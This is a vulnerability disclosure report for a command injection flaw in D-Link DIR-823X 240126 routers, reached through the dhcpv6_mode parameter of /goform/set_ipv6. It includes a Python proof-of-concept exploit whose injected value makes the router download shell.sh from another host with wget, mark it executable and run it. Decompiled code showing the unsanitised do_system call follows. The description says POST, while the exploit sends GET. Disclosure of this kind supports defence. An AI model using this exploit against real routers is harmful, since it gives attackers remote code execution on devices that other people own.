

# CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

## Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

## Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "dhcpv6\_mode" in /goform/set\_ipv6 through a POST request.

## PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_ipv6?dhcpv6_mode=`wget${IFS}-P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${IFS}/shell.sh;/shell.sh`"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

## Cause Analysis

The WebsGetvar function accepts external data and it enters do\_system execution, resulting in a command execution vulnerability.

```
v2 = WebsGetvar(a1, (__int64)"router_advertisement", (__int64)"2");
v3 = WebsGetvar(a1, (__int64)"dhcpv6_service", (__int64)"2");
v4 = WebsGetvar(a1, (__int64)"ndp_proxy", (__int64)"1");
v5 = WebsGetvar(a1, (__int64)"dhcpv6_mode", (__int64)"1");
v6 = WebsGetvar(a1, (__int64)"default_router", (__int64)"0");
v7 = WebsGetvar(a1, (__int64)"dns_server", (__int64) "");
v8 = WebsGetvar(a1, (__int64)"dns_domains", (__int64) "");

}
if ( atoi((const char *)&loc_429D10) == 2 )
    sub_413198(&loc_429D10);
else
    do_system((const char *)&loc_429D10, "1");
do_system("dhcp.lan.ra_management", v5);
```

## Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.